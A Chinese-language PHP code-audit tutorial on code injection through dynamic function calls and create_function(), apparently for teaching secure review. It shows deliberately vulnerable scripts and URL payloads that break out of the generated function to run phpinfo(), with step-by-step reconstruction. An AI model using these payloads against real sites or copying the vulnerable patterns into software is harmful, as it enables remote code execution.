ThinkSSL🔒 一键申购 5分钟快速签发 30天无理由退款 购买更放心 广告
一:动态函数执行: 函数与函数之间的调用,可能会造成的漏洞。 ``` function a(){ echo "a"; } function b(){ echo "b"; } function c($param){ echo "c"; $param(); } c($_GET('c')); http://localhost?c=a //容易执行敏感的系统函数 http://localhost?c=phpinfo ``` 二:匿名函数执行: 匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定 名称的函数。最经常用作回调函数(callback)参数的值。 create_function 创建匿名函数(PHP 7.2.0被废弃) create\_function()函数会在内部执行 eval() 在代码审计中,主要用来查找项目中的代码注入和回调后门的情况 例子 ~~~ error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?> ~~~ ~~~ http://localhost/test/1.php?sort_by='"]);}phpinfo();/* ~~~ 还原实际的组合过程: ~~~ $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* ~~~ 匿名函数实际的执行: ~~~ function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* } ~~~ 回车换行整理一下: ~~~ function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* } ~~~ ### 案例 2 `2.php` ~~~ <?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?> ~~~ `payload`的构造: ~~~ http://localhost/test/2.php?c=1));}phpinfo();/* ~~~ 还原实际的组合过程: ~~~ $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));"); ~~~ 匿名函数实际的执行: ~~~ function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); } ~~~ 回车换行整理一下: ~~~ function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); } ~~~ ``` $id=$_GET['id']; //$c(); $lambda=create_function('$a,$b','return ( strlen($a) - strlen($b)+'."strlen($id) );"); var_dump($lambda); $arr=array('reall long string here,body','this','midding length','larget'); usort($arr,$lambda); print_r($arr); //http://www.test.com/audit/test.php?id=1 //相当于 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1) ); } //http://www.test.com/audit/test.php?id=1));}phpinfo();/* //相当于 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1));}phpinfo();/* ) } ``` ![](https://img.kancloud.cn/91/79/9179123d33d6aa0abfc33190c98a223b_1014x477.png) 上面的换成单行注释就不会报错 ``` http://www.test.com/audit/test.php?id=1));}phpinfo();// 可知:最后结果是 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1));}phpinfo();// )} ``` 总结:create_function和eval最好别用,至少用户不能决定输出的内容